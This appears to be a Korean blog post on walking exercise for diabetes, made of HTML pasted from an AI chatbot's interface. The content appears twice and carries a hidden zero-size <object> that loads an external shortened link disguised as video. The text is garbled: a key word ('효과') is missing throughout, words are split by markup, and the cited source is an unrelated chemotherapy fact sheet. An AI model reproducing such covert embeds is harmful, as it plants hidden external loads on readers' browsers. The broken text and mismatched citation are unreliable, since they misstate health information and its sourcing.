당뇨를 위한 운동 걷기운동효과

<div class="figure-html" data-ke-type="html" data-source="<object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4"></object> <div _ngcontent-ng-c4043730060="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">당뇨를 위한 운동: 걷기 운동 </h2><p data-sourcepos="3:1-3:46"><strong>걷기 운동은 당뇨 관리에 있어 가장 적이고 안전한 운동 중 하나입니다.</strong></p><h3 data-sourcepos="5:1-5:20">걷기 운동이 당뇨에 좋은 이유</h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:91"><strong>혈당 조절:</strong> 걷기는 근육이 포도당을 에너지원으로 사용하게 하여 혈당을 낮추는 데 도움을 줍니다. 특히 식후 걷기는 혈당 상승을 완화하는 데 적입니다.</li> <li data-sourcepos="8:1-8:65"><strong>인슐린 감수성 증가:</strong> 꾸준한 걷기 운동은 인슐린 저항성을 개선하여 인슐린이 적으로 작용하도록 돕습니다.</li> <li data-sourcepos="9:1-9:67"><strong>체중 감량:</strong> 걷기는 칼로리 소모를 증가시켜 체중 감량에 도움을 주고, 비만으로 인한 당뇨 합병증을 예방합니다.</li> <li data-sourcepos="10:1-10:69"><strong>심혈관 건강 개선:</strong> 걷기는 심혈관 의 위험 요인인 고혈압, 고지혈증 등을 개선하여 심혈관 건강을 증진시킵니다.</li> <li data-sourcepos="11:1-12:0"><strong>스트레스 해소:</strong> 걷기는 스트레스 해소에 도움을 주어 정신 건강에도 긍정적인 영향을 미칩니다.</li> </ul><h3 data-sourcepos="13:1-13:16">걷기 운동 시 주의사항</h3><ul data-sourcepos="15:1-20:0"> <li data-sourcepos="15:1-15:39"><strong>혈당 측정:</strong> 운동 전후 혈당을 측정하여 저혈당을 예방합니다.</li> <li data-sourcepos="16:1-16:48"><strong>운동 강도:</strong> 처음에는 가볍게 시작하여 점차 강도를 높여나가는 것이 좋습니다.</li> <li data-sourcepos="17:1-17:43"><strong>운동 시간:</strong> 하루 30분 이상, 주 5회 이상 걷는 것이 좋습니다.</li> <li data-sourcepos="18:1-18:48"><strong>발 편한 신발 착용:</strong> 발에 무리가 가지 않도록 편안한 신발을 신고 걷습니다.</li> <li data-sourcepos="19:1-20:0"><strong>합병증 유무 확인:</strong> 합병증이 있는 경우 의사와 상담 후 운동을 시작합니다.</li> </ul><p data-sourcepos="21:1-21:73"><strong>걷기는 누구나 쉽게 할 수 있는 운동이지만, 개인의 건강 상태에 따라 적절한 운동 강도와 시간을 설정하는 것이 중요합니다.</strong></p><p data-sourcepos="23:1-23:69"><strong>당뇨 관리를 위해 걷기 운동을 시작하기 전에 반드시 의사와 상담하여 자신에게 맞는 운동 계획을 세우는 것이 좋습니다.</strong></p><p data-sourcepos="25:1-25:292"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. <span class="citation-0 citation-end-0 interactive-span-selected-v2">Always seek the advice of your physician or other qualified health provider with any questions you may have regarding a medical conditio<source-footnote _nghost-ng-c2317731631="" ng-version="0.0.0-PLACEHOLDER"><sup _ngcontent-ng-c2317731631="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span>n.<sources-carousel-inline _nghost-ng-c1639661123="" ng-version="0.0.0-PLACEHOLDER"><span _ngcontent-ng-c1639661123="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted"> &nbsp; <button _ngcontent-ng-c1639661123="" hide-from-message-actions="" aria-controls="sources" class="mat-mdc-tooltip-trigger button image-fade-on button-selected hide-from-message-actions" aria-expanded="true" jslog="220646;track:generic_click,impression" aria-describedby="cdk-describedby-message-ng-1-5" cdk-describedby-host="ng-1"><mat-icon _ngcontent-ng-c1639661123="" role="img" class="mat-icon notranslate symbol google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="expand_less" fonticon="expand_less"></mat-icon></button></span><sources-carousel _ngcontent-ng-c1639661123="" hide-from-message-actions="" id="sources" _nghost-ng-c1420927504="" class="ng-tns-c1420927504-5 hide-from-message-actions ng-star-inserted" style="display: flex; visibility: visible;"><div _ngcontent-ng-c1420927504="" class="container ng-tns-c1420927504-5" jslog="220997;BardVeMetadataKey:[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[1,null,1]]"><div _ngcontent-ng-c1420927504="" class="carousel-container ng-tns-c1420927504-5"><div _ngcontent-ng-c1420927504="" class="carousel-content ng-tns-c1420927504-5"><div _ngcontent-ng-c1420927504="" data-test-id="sources-carousel-source" class="sources-carousel-source ng-tns-c1420927504-5 ng-star-inserted"><recitation-source-card _ngcontent-ng-c1420927504="" _nghost-ng-c3715407520="" class="ng-tns-c1420927504-5 ng-star-inserted"><url-source-card _ngcontent-ng-c3715407520="" _nghost-ng-c708384990="" class="ng-star-inserted"><div _ngcontent-ng-c708384990="" class="source-card-container"><div _ngcontent-ng-c708384990="" class="source-card-content"><a _ngcontent-ng-c708384990="" rel="noopener" class="link" s://.dana-farber.org/health-library/articles/oral-chemotherapy-fact-sheet/" jslog="180390;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b1b545ab1222c78c&quot;,&quot;c_2867ff0936909102&quot;,null,&quot;rc_40d900101664f8c7&quot;,&quot;https://.dana-farber.org/health-library/articles/oral-chemotherapy-fact-sheet/&quot;,null,&quot;ko&quot;,null,null,null,null,1,0]]"><div _ngcontent-ng-c708384990="" class="source-card-body"><div _ngcontent-ng-c708384990="" class="source-card-header"><div _ngcontent-ng-c708384990="" class="source-card-title"><span _ngcontent-ng-c708384990="" class="source-card-title-index ng-star-inserted">1.</span><span _ngcontent-ng-c708384990="" class="ellipsis clamp-two-lines"> .dana-farber.org </span></div><mat-icon _ngcontent-ng-c708384990="" role="img" class="mat-icon notranslate source-card-indicator google-symbols mat-ligature-font mat-icon-no-color ng-star-inserted" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="format_quote" fonticon="format_quote"></mat-icon></div></div><span _ngcontent-ng-c708384990="" aria-label=""></span></a><div _ngcontent-ng-c708384990="" class="source-card-footer"><a _ngcontent-ng-c708384990="" rel="noopener" class="link" s://.dana-farber.org/health-library/articles/oral-chemotherapy-fact-sheet/" jslog="180390;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b1b545ab1222c78c&quot;,&quot;c_2867ff0936909102&quot;,null,&quot;rc_40d900101664f8c7&quot;,&quot;https://.dana-farber.org/health-library/articles/oral-chemotherapy-fact-sheet/&quot;,null,&quot;ko&quot;,null,null,null,null,1,0]]"><div _ngcontent-ng-c708384990="" class="source-card-attribution"><span _ngcontent-ng-c708384990="" class="source-card-attribution-text ellipsis">.dana-farber.org</span></div><span _ngcontent-ng-c708384990="" aria-label=""></span></a></div></div></div></url-source-card></recitation-source-card></div></div></div></div></sources-carousel></sources-carousel-inline></p><p data-sourcepos="27:1-27:137"><strong>Would you like to know more about other types of exercise for diabetes, or perhaps about the benefits of a specific walking routine?</strong></p></div> "><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object> <div _ngcontent-ng-c4043730060="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:22">당뇨를 위한 운동: 걷기 운동 </h2><p data-sourcepos="3:1-3:46"><strong>걷기 운동은 당뇨 관리에 있어 가장 적이고 안전한 운동 중 하나입니다.</strong></p><h3 data-sourcepos="5:1-5:20">걷기 운동이 당뇨에 좋은 이유</h3><ul data-sourcepos="7:1-12:0"> <li data-sourcepos="7:1-7:91"><strong>혈당 조절:</strong> 걷기는 근육이 포도당을 에너지원으로 사용하게 하여 혈당을 낮추는 데 도움을 줍니다. 특히 식후 걷기는 혈당 상승을 완화하는 데 적입니다.</li> <li data-sourcepos="8:1-8:65"><strong>인슐린 감수성 증가:</strong> 꾸준한 걷기 운동은 인슐린 저항성을 개선하여 인슐린이 적으로 작용하도록 돕습니다.</li> <li data-sourcepos="9:1-9:67"><strong>체중 감량:</strong> 걷기는 칼로리 소모를 증가시켜 체중 감량에 도움을 주고, 비만으로 인한 당뇨 합병증을 예방합니다.</li> <li data-sourcepos="10:1-10:69"><strong>심혈관 건강 개선:</strong> 걷기는 심혈관 의 위험 요인인 고혈압, 고지혈증 등을 개선하여 심혈관 건강을 증진시킵니다.</li> <li data-sourcepos="11:1-12:0"><strong>스트레스 해소:</strong> 걷기는 스트레스 해소에 도움을 주어 정신 건강에도 긍정적인 영향을 미칩니다.</li> </ul><h3 data-sourcepos="13:1-13:16">걷기 운동 시 주의사항</h3><ul data-sourcepos="15:1-20:0"> <li data-sourcepos="15:1-15:39"><strong>혈당 측정:</strong> 운동 전후 혈당을 측정하여 저혈당을 예방합니다.</li> <li data-sourcepos="16:1-16:48"><strong>운동 강도:</strong> 처음에는 가볍게 시작하여 점차 강도를 높여나가는 것이 좋습니다.</li> <li data-sourcepos="17:1-17:43"><strong>운동 시간:</strong> 하루 30분 이상, 주 5회 이상 걷는 것이 좋습니다.</li> <li data-sourcepos="18:1-18:48"><strong>발 편한 신발 착용:</strong> 발에 무리가 가지 않도록 편안한 신발을 신고 걷습니다.</li> <li data-sourcepos="19:1-20:0"><strong>합병증 유무 확인:</strong> 합병증이 있는 경우 의사와 상담 후 운동을 시작합니다.</li> </ul><p data-sourcepos="21:1-21:73"><strong>걷기는 누구나 쉽게 할 수 있는 운동이지만, 개인의 건강 상태에 따라 적절한 운동 강도와 시간을 설정하는 것이 중요합니다.</strong></p><p data-sourcepos="23:1-23:69"><strong>당뇨 관리를 위해 걷기 운동을 시작하기 전에 반드시 의사와 상담하여 자신에게 맞는 운동 계획을 세우는 것이 좋습니다.</strong></p><p data-sourcepos="25:1-25:292"><strong>Disclaimer:</strong> This information is intended for general knowledge and informational purposes only, and does not constitute medical advice. <span class="citation-0 citation-end-0 interactive-span-selected-v2">Always seek the advice of your physician or other qualified health provider with any questions you may have regarding a medical conditio<source-footnote _nghost-ng-c2317731631="" ng-version="0.0.0-PLACEHOLDER"><sup _ngcontent-ng-c2317731631="" class="superscript visible highlight" data-turn-source-index="1"> 1 </sup></source-footnote></span>n.<sources-carousel-inline _nghost-ng-c1639661123="" ng-version="0.0.0-PLACEHOLDER"><span _ngcontent-ng-c1639661123="" hide-from-message-actions="" class="button-container hide-from-message-actions ng-star-inserted">   <button _ngcontent-ng-c1639661123="" hide-from-message-actions="" aria-controls="sources" class="mat-mdc-tooltip-trigger button image-fade-on button-selected hide-from-message-actions" aria-expanded="true" jslog="220646;track:generic_click,impression" aria-describedby="cdk-describedby-message-ng-1-5" cdk-describedby-host="ng-1"><mat-icon _ngcontent-ng-c1639661123="" role="img" class="mat-icon notranslate symbol google-symbols mat-ligature-font mat-icon-no-color" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="expand_less" fonticon="expand_less"></mat-icon></button></span><sources-carousel _ngcontent-ng-c1639661123="" hide-from-message-actions="" id="sources" _nghost-ng-c1420927504="" class="ng-tns-c1420927504-5 hide-from-message-actions ng-star-inserted" style="display: flex; visibility: visible;"><div _ngcontent-ng-c1420927504="" class="container ng-tns-c1420927504-5" jslog="220997;BardVeMetadataKey:[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[1,null,1]]"><div _ngcontent-ng-c1420927504="" class="carousel-container ng-tns-c1420927504-5"><div _ngcontent-ng-c1420927504="" class="carousel-content ng-tns-c1420927504-5"><div _ngcontent-ng-c1420927504="" data-test-id="sources-carousel-source" class="sources-carousel-source ng-tns-c1420927504-5 ng-star-inserted"><recitation-source-card _ngcontent-ng-c1420927504="" _nghost-ng-c3715407520="" class="ng-tns-c1420927504-5 ng-star-inserted"><url-source-card _ngcontent-ng-c3715407520="" _nghost-ng-c708384990="" class="ng-star-inserted"><div _ngcontent-ng-c708384990="" class="source-card-container"><div _ngcontent-ng-c708384990="" class="source-card-content"><a _ngcontent-ng-c708384990="" rel="noopener" class="link" s://.dana-farber.org/health-library/articles/oral-chemotherapy-fact-sheet/" jslog="180390;track:generic_click,impression;BardVeMetadataKey:[["r_b1b545ab1222c78c","c_2867ff0936909102",null,"rc_40d900101664f8c7","https://.dana-farber.org/health-library/articles/oral-chemotherapy-fact-sheet/",null,"ko",null,null,null,null,1,0]]"><div _ngcontent-ng-c708384990="" class="source-card-body"><div _ngcontent-ng-c708384990="" class="source-card-header"><div _ngcontent-ng-c708384990="" class="source-card-title"><span _ngcontent-ng-c708384990="" class="source-card-title-index ng-star-inserted">1.</span><span _ngcontent-ng-c708384990="" class="ellipsis clamp-two-lines"> .dana-farber.org </span></div><mat-icon _ngcontent-ng-c708384990="" role="img" class="mat-icon notranslate source-card-indicator google-symbols mat-ligature-font mat-icon-no-color ng-star-inserted" aria-hidden="true" data-mat-icon-type="font" data-mat-icon-name="format_quote" fonticon="format_quote"></mat-icon></div></div><span _ngcontent-ng-c708384990="" aria-label=""></span></a><div _ngcontent-ng-c708384990="" class="source-card-footer"><a _ngcontent-ng-c708384990="" rel="noopener" class="link" s://.dana-farber.org/health-library/articles/oral-chemotherapy-fact-sheet/" jslog="180390;track:generic_click,impression;BardVeMetadataKey:[["r_b1b545ab1222c78c","c_2867ff0936909102",null,"rc_40d900101664f8c7","https://.dana-farber.org/health-library/articles/oral-chemotherapy-fact-sheet/",null,"ko",null,null,null,null,1,0]]"><div _ngcontent-ng-c708384990="" class="source-card-attribution"><span _ngcontent-ng-c708384990="" class="source-card-attribution-text ellipsis">.dana-farber.org</span></div><span _ngcontent-ng-c708384990="" aria-label=""></span></a></div></div></div></url-source-card></recitation-source-card></div></div></div></div></sources-carousel></sources-carousel-inline></p><p data-sourcepos="27:1-27:137"><strong>Would you like to know more about other types of exercise for diabetes, or perhaps about the benefits of a specific walking routine?</strong></p></div> </div></div>